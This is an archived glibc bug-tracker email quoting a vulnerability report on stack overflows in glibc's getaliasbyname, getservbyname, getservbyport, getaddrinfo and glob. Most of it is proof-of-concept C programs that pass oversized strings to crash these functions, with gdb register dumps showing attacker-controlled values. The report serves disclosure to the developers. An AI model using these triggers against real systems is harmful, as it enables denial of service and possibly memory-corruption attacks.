This is the mail archive of the glibc-bugs@sourceware.org mailing list for the glibc project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]
Other format: [Raw text]

[Bug libc/12671] multiple vulnerabilities in netdb.h/aliases.h/glob.h (CVE-2012-6686, CVE-2013-4357)


https://sourceware.org/bugzilla/show_bug.cgi?id=12671

xiaoyang <xiaoyang at soojoy dot net> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |xiaoyang at soojoy dot net

--- Comment #8 from xiaoyang <xiaoyang at soojoy dot net> ---
(In reply to Max from comment #0)
> multiple flaws in glibc netdb.h/aliases.h
> author: maksymilian arciemowicz
> contact: max at cxib dot net
> 
> Comparing the safety of glibc and libc in NetBSD, we can see problems with
> allocating memory in glibc.
> 
> In glibc:
> - getaliasbyname(3)
> - getaliasbyname_r(3)
> - getaddrinfo(3)
> - getservbyname(3)
> - getservbyname_r(3)
> - getservbyport(3)
> - getservbyport_r(3)
> Addtional:
> - glob(3)
> 
> --- aliases.h ---
> In aliases.h, we have getaliasbyname(3) affected. What is wrong? Let's see
> nis-alias.c
> 
> -nis-alias.c---
> ...
> enum nss_status
> _nss_nis_getaliasbyname_r (const char *name, struct aliasent *alias,
> 			   char *buffer, size_t buflen, int *errnop)
> {
>   if (name == NULL)
>     {
>       *errnop = EINVAL;
>       return NSS_STATUS_UNAVAIL;
>     }
> 
>   size_t namlen = strlen (name);
>   char name2[namlen + 1]; 
> 
>   char *domain;
>   if (__builtin_expect (yp_get_default_domain (&domain), 0))
>     return NSS_STATUS_UNAVAIL;
> ...
> -nis-alias.c---
> 
> The main problem is here
> 
>   size_t namlen = strlen (name);
>   char name2[namlen + 1]; 
> 
> better use malloc.
> 
> PoCs:
> -getaliasbyname.c---
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaliasbyname getaliasbyname.c &&
> ./getaliasbyname
> Segmentation fault
> 
> (gdb) r 11000000
> The program being debugged has been started already.
> Start it from the beginning? (y or n) y
> 
> Starting program: /cxib/C/netdb/flaws/getaliasbyname 11000000
> 
> Program received signal SIGSEGV, Segmentation fault.
> _nss_nis_getaliasbyname_r (name=0x7ffff6fdb010 'A' <repeats 200 times>...,
> alias=0x7ffff7ddac80, 
>     buffer=0x403010 "", buflen=1024, errnop=<value optimized out>) at
> nss_nis/nis-alias.c:220
> 220       if (__builtin_expect (yp_get_default_domain (&domain), 0))
> (gdb) i r
> rax            0x8583b10        140000016
> rbx            0x7fffef4d5010   140737208209424
> rcx            0x8583b00        140000000
> rdx            0xffff   65535
> rsi            0xffffffff       4294967295
> rdi            0x7fffffffe550   140737488348496
> rbp            0x7fffffffe590   0x7fffffffe590
> rsp            0x7ffff7a7aa20   0x7ffff7a7aa20
> r8             0x7fffef4d5010   140737208209424
> r9             0x37     55
> r10            0x7fffffffe2b0   140737488347824
> r11            0x7ffff7adbe40   140737348746816
> r12            0x7ffff7a7aa2f   140737348348463
> r13            0x403010 4206608
> r14            0x7ffff7ddac80   140737351888000
> r15            0x400    1024
> rip            0x7fffef2d1a6a   0x7fffef2d1a6a <_nss_nis_getaliasbyname_r+74>
> 
> 
> */ 
> #include <aliases.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 
> 	char *name, *proto;
> 
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	if(NULL!=proto){
> 		memset(proto,'A',(atoi(argv[1])-1));
> 		proto[(atoi(argv[1])-4)]='.';
> 		proto[(atoi(argv[1])-3)]='c';
> 		proto[(atoi(argv[1])-2)]='o';
> 		proto[(atoi(argv[1])-1)]='m';
> 		
> 		getaliasbyname(proto);
> 	}
> }
> -getaliasbyname.c---
> 
> -getaliasbyname_r.c---
> /*
> cx@cx64:/cxib/C/netdb/flaws$ ./getaliasbyname_r 22222222
> Segmentation fault
> 
> rax            0x69f6be0        111111136
> rbx            0x7ffff1062010   140737237098512
> rcx            0x69f6bc7        111111111
> rdx            0xff80   65408
> rsi            0xffffffff       4294967295
> rdi            0x7fffffffe540   140737488348480
> rbp            0x7fffffffe580   0x7fffffffe580
> rsp            0x7ffff9607940   0x7ffff9607940
> r8             0x7ffff1062010   140737237098512
> r9             0x37     55
> r10            0x7fffffffe2a0   140737488347808
> r11            0x7ffff7adbe40   140737348746816
> r12            0x7ffff960794f   140737377237327
> r13            0x403010 4206608
> r14            0x7fffffffe610   140737488348688
> r15            0x400    1024
> rip            0x7ffff0e5ea6a   0x7ffff0e5ea6a <_nss_nis_getaliasbyname_r+74>
> eflags         0x10202  [ IF RF ]
> cs             0x33     51
> ss             0x2b     43
> ds             0x0      0
> es             0x0      0
> fs             0x0      0
> gs             0x0      0
> 
> 
> 
> */ 
> #include <aliases.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 
> 	char *name, *proto, *buf;
> 	struct aliasent resultbuf;
> 	struct aliasent *hst;
> 	buf=malloc(1025*sizeof(char));
> 	
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	if(NULL!=proto){
> 		memset(proto,'A',(atoi(argv[1])-1));
> 		proto[(atoi(argv[1])-4)]='.';
> 		proto[(atoi(argv[1])-3)]='c';
> 		proto[(atoi(argv[1])-2)]='o';
> 		proto[(atoi(argv[1])-1)]='m';
> 		
> 		getaliasbyname_r(proto,&resultbuf,buf,1024,&hst);
> 	}
> }
> -getaliasbyname_r.c---
> --- aliases.h ---
> 
> 
> --- netdb.h ---
> In netdb.h we have a lot of vulnerable functions. Using alloca function, in
> nscd lib, generate code execution via long name string.
> Let's see what is wrong:
> 
> -nscd_getserv_r---
> ...
> static int
> nscd_getserv_r (const char *crit, size_t critlen, const char *proto,
> 		request_type type, struct servent *resultbuf,
> 		char *buf, size_t buflen, struct servent **result)
> {
>   int gc_cycle;
>   int nretries = 0;
> 
>   /* If the mapping is available, try to search there instead of
>      communicating with the nscd.  */
>   struct mapped_database *mapped;
>   mapped = __nscd_get_map_ref (GETFDSERV, "services", &__serv_map_handle,
> 			       &gc_cycle);
>   size_t protolen = proto == NULL ? 0 : strlen (proto);
>   size_t keylen = critlen + 1 + protolen + 1;
>   char *key = alloca (keylen);
>   memcpy (__mempcpy (__mempcpy (key, crit, critlen),
> 		     "/", 1), proto ?: "", protolen + 1);
> ...
> -nscd_getserv_r---
> 
> When alloca(3) fail here
> 
> char *key = alloca (keylen);
> 
> then buffer overflow here 
> 
>   memcpy (__mempcpy (__mempcpy (key, crit, critlen),
> 		     "/", 1), proto ?: "", protolen + 1);
> 
> In result:
> 
> (gdb) x/i $rip
> => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi)
> (gdb) x/x $rdi
> 0x7ffff7a58fe9: 0x41414141
> (gdb) x/x $r9
> 0x4141414141414141:     Cannot access memory at address 0x4141414141414141
> 
> See PoCs:
> 
> -getaddrinfo.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaddrinfo getaddrinfo.c &&
> ./getaddrinfo 150000000
> Segmentation fault
> (gdb) i r
> rax            0x4141414141414141       4702111234474983745
> rbx            0xffffffffffffffff       -1
> rcx            0x10b497 1094807
> rdx            0x8e49180        149197184
> rsi            0x7fffef4b3590   140737208071568
> rdi            0x7ffff7a59000   140737348210688
> rbp            0x7fffffffdd10   0x7fffffffdd10
> rsp            0x7ffff70f0a78   0x7ffff70f0a78
> r8             0x4141414141414141       4702111234474983745
> r9             0x4141414141414141       4702111234474983745
> r10            0x4141414141414141       4702111234474983745
> r11            0x4141414141414141       4702111234474983745
> r12            0x4141414141414141       4702111234474983745
> r13            0x4141414141414141       4702111234474983745
> r14            0x4141414141414141       4702111234474983745
> r15            0x7fffeeb4b010   140737198206992
> rip            0x7ffff7adf560   0x7ffff7adf560 <mempcpy+944>
> eflags         0x10202  [ IF RF ]
> cs             0x33     51
> ss             0x2b     43
> 
> */ 
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
>   
>   	char *name;
> 
> 	name=malloc(atoi(argv[1])*sizeof(char));
>   	if(NULL!=name){
> 		memset(name,'A',(atoi(argv[1])-1));
> 		name[(atoi(argv[1])-4)]='.';
> 		name[(atoi(argv[1])-3)]='c';
> 		name[(atoi(argv[1])-2)]='o';
> 		name[(atoi(argv[1])-1)]='m';
> 		memset(name,'A',(atoi(argv[1])-1));
> 
> 		struct addrinfo hints;
> 		struct addrinfo *result, *rp;
> 		
> 		int sfd, s;
> 
> 
> 		memset(&hints, 0, sizeof(struct addrinfo));
> 		hints.ai_family = AF_UNSPEC;    /* Allow IPv4 or IPv6 */
> 		hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */
> 		hints.ai_flags = AI_PASSIVE;    /* For wildcard IP address */
> 		hints.ai_protocol = 0;          /* Any protocol */
> 		hints.ai_canonname = NULL;
> 		hints.ai_addr = NULL;
> 		hints.ai_next = NULL;
> 
> 		s = getaddrinfo(NULL, name, &hints, &result);
> 	  
> 	}
> }
> -getaddrinfo.c-
> 
> -getservbyname.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname getservbyname.c &&
> ./getservbyname 150000000
> Segmentation fault
> 
> (gdb) x/i $rip
> => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi)
> (gdb) x/x $rdi
> 0x7ffff7a58fe9: 0x41414141
> (gdb) x/x $r9
> 0x4141414141414141:     Cannot access memory at address 0x4141414141414141
> 
> (gdb) i r
> rax            0x4141414141414141       4702111234474983745
> rbx            0xffffffffffffffff       -1
> rcx            0x10b4a7 1094823
> rdx            0x8e49181        149197185
> rsi            0x7fffef4b2d90   140737208069520
> rdi            0x7ffff7a58fe9   140737348210665
> rbp            0x7fffffffe4f0   0x7fffffffe4f0
> rsp            0x7ffff70f1258   0x7ffff70f1258
> r8             0x4141414141414141       4702111234474983745
> r9             0x4141414141414141       4702111234474983745
> r10            0x4141414141414141       4702111234474983745
> r11            0x4141414141414141       4702111234474983745
> r12            0x4141414141414141       4702111234474983745
> r13            0x4141414141414141       4702111234474983745
> r14            0x4141414141414141       4702111234474983745
> r15            0x40089c 4196508
> rip            0x7ffff7adfe59   0x7ffff7adfe59 <memcpy+969>
> eflags         0x10202  [ IF RF ]
> cs             0x33     51
> ss             0x2b     43
> ds             0x0      0
> es             0x0      0
> 
> */ 
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 
> 	char *name, *proto;
> 
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	if(NULL!=proto){
> 		memset(proto,'A',(atoi(argv[1])-1));
> 		proto[(atoi(argv[1])-4)]='.';
> 		proto[(atoi(argv[1])-3)]='c';
> 		proto[(atoi(argv[1])-2)]='o';
> 		proto[(atoi(argv[1])-1)]='m';
> 		
> 		getservbyname("cxib.net",proto);
> 	}
> }
> -getservbyname.c-
> 
> 
> -getservbyname_r.c-
> /*
> 
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname_r getservbyname_r.c &&
> ./getservbyname_r 15000000
> Segmentation fault
> 
> gram received signal SIGSEGV, Segmentation fault.
> 0x00007ffff7b79bc2 in nscd_getserv_r (crit=0x7ffff6c0a010 'A' <repeats 200
> times>..., 
>     critlen=<value optimized out>, proto=0x40082c "tcp", type=<value
> optimized out>, 
>     resultbuf=<value optimized out>, buf=<value optimized out>, buflen=4096, 
>     result=0x7fffffffe640) at nscd_getserv_r.c:92
> 
> 
> */ 
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 	struct servent resultbuf;
> 	struct servent *hst;
> 
> 	int ret,buf_len=4096;
> 	char *name, *proto,*buf;
> 
> 	name=malloc((atoi(argv[1])+1)*sizeof(char));
> 	if(NULL!=proto){
> 		memset(name,'A',(atoi(argv[1])-1));
> 		name[(atoi(argv[1])-4)]='.';
> 		name[(atoi(argv[1])-3)]='c';
> 		name[(atoi(argv[1])-2)]='o';
> 		name[(atoi(argv[1])-1)]='m';
> 		buf=malloc(buf_len*sizeof(char));
> 		
> 		getservbyname_r(name,"tcp", &resultbuf, buf, buf_len, &hst);
> 	}
> }
> -getservbyname_r.c-
> 
> -getservbyport.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport getservbyport.c &&
> ./getservbyport 150000000
> Segmentation fault
> rax            0x4141414141414141       4702111234474983745
> rbx            0xffffffffffffffff       -1
> rcx            0x10b4a8 1094824
> rdx            0x8e49181        149197185
> rsi            0x7fffef4b2d10   140737208069392
> rdi            0x7ffff7a58fa4   140737348210596
> rbp            0x7fffffffe530   0x7fffffffe530
> rsp            0x7ffff70f1298   0x7ffff70f1298
> r8             0x4141414141414141       4702111234474983745
> r9             0x4141414141414141       4702111234474983745
> r10            0x4141414141414141       4702111234474983745
> r11            0x4141414141414141       4702111234474983745
> r12            0x4141414141414141       4702111234474983745
> r13            0x4141414141414141       4702111234474983745
> r14            0x4141414141414141       4702111234474983745
> r15            0x7fffffffe55b   140737488348507
> rip            0x7ffff7adfea6   0x7ffff7adfea6 <memcpy+1046>
> eflags         0x10202  [ IF RF ]
> cs             0x33     51
> 
> */ 
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 
> 	char *name, *proto;
> 
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	if(NULL!=proto){
> 		memset(proto,'A',(atoi(argv[1])-1));
> 		proto[(atoi(argv[1])-4)]='.';
> 		proto[(atoi(argv[1])-3)]='c';
> 		proto[(atoi(argv[1])-2)]='o';
> 		proto[(atoi(argv[1])-1)]='m';
> 		
> 		getservbyport(80,proto);
> 	}
> }
> -getservbyport.c-
> 
> -getservbyport_r.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport_r getservbyport_r.c &&
> ./getservbyport_r 15000000
> Segmentation fault
> 
> rax            0x4141414141414141       4702111234474983745
> rbx            0xffffffffffffffff       -1
> rcx            0x10b4a7 1094823
> rdx            0x422df5c8       1110308296
> rsi            0x7fffef4b3190   140737208070544
> rdi            0x7ffff7a58fb4   140737348210612
> rbp            0x7fffffffe500   0x7fffffffe500
> rsp            0x7fffbdc5ae28   0x7fffbdc5ae28
> r8             0x4141414141414141       4702111234474983745
> r9             0x4141414141414141       4702111234474983745
> r10            0x4141414141414141       4702111234474983745
> r11            0x4141414141414141       4702111234474983745
> r12            0x4141414141414141       4702111234474983745
> r13            0x4141414141414141       4702111234474983745
> r14            0x4141414141414141       4702111234474983745
> r15            0x7fffffffe52b   140737488348459
> rip            0x7ffff7adfe9c   0x7ffff7adfe9c <memcpy+1036>
> 
> */ 
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
> 
> void main(int argc,char *argv[])
> {
> 	struct servent resultbuf;
> 	struct servent *hst;
> 
> 	int ret,buf_len=4096;
> 	char *name, *proto,*buf;
> 
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	if(NULL!=proto){
> 		memset(proto,'A',(atoi(argv[1])-1));
> 		proto[(atoi(argv[1])-4)]='.';
> 		proto[(atoi(argv[1])-3)]='c';
> 		proto[(atoi(argv[1])-2)]='o';
> 		proto[(atoi(argv[1])-1)]='m';
> 		buf=malloc(buf_len*sizeof(char));
> 		
> 		getservbyport_r(80, proto, &resultbuf, buf, buf_len, &hst);
> 	}
> }
> -getservbyport_r.c-
> 
> --- netdb.h ---
> 
> in the end glob(3) 
> 
> -----
> #include <stdlib.h>
> #include <stdio.h>
> #include <string.h>
> #include <netdb.h>
> #include <glob.h>
> 
> int main(int argc, char *argv[]){
> 	char *name, *proto;
> 	glob_t globbuf;
> 
> 
> 	proto=malloc(atoi(argv[1])*sizeof(char));
> 	memset(proto,'A',(atoi(argv[1])-1));
> 
> 	glob(proto, GLOB_DOOFFS, NULL, &globbuf);
> 
> 	return 0;
> }
> -----
> Starting program: /cxib/C/allo/globo 150000000
> 
> Program received signal SIGSEGV, Segmentation fault.
> memcpy () at ../sysdeps/x86_64/memcpy.S:516
> 516     ../sysdeps/x86_64/memcpy.S: No such file or directory.
>         in ../sysdeps/x86_64/memcpy.S
> (gdb) i r
> rax            0x4141414141414141       4702111234474983745
> rbx            0x7ffff70f0ce0   140737338346720
> rcx            0x10b49c 1094812
> rdx            0x8e49180        149197184
> rsi            0x7fffef4b3310   140737208070928
> rdi            0x7ffff7a58fe2   140737348210658
> rbp            0x7fffffffe3a0   0x7fffffffe3a0
> rsp            0x7ffff70f0cd8   0x7ffff70f0cd8
> r8             0x4141414141414141       4702111234474983745
> r9             0x4141414141414141       4702111234474983745
> r10            0x4141414141414141       4702111234474983745
> r11            0x4141414141414141       4702111234474983745
> r12            0x4141414141414141       4702111234474983745
> r13            0x4141414141414141       4702111234474983745
> r14            0x4141414141414141       4702111234474983745
> r15            0x7fffffffe630   140737488348720
> rip            0x7ffff7adfe5e   0x7ffff7adfe5e <memcpy+974>
> eflags         0x10206  [ PF IF RF ]
> cs             0x33     51
> ss             0x2b     43
> ds             0x0      0
> es             0x0      0
> fs             0x0      0
> gs             0x0      0
> (gdb) bt
> #0  memcpy () at ../sysdeps/x86_64/memcpy.S:516
> #1  0x00007ffff7b05a7d in glob_in_dir (pattern=<value optimized out>,
> directory=<value optimized out>,
>     flags=<value optimized out>, errfunc=<value optimized out>,
> pglob=0x7fffffffe630) at ../posix/glob.c:1321
> #2  0x00007ffff7b0710e in glob (pattern=0x7fffeeb4b010 'A' <repeats 200
> times>..., flags=8,
>     errfunc=<value optimized out>, pglob=0x7fffffffe630) at
> ../posix/glob.c:1008
> #3  0x000000000040067b in main ()
> 
> Best

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]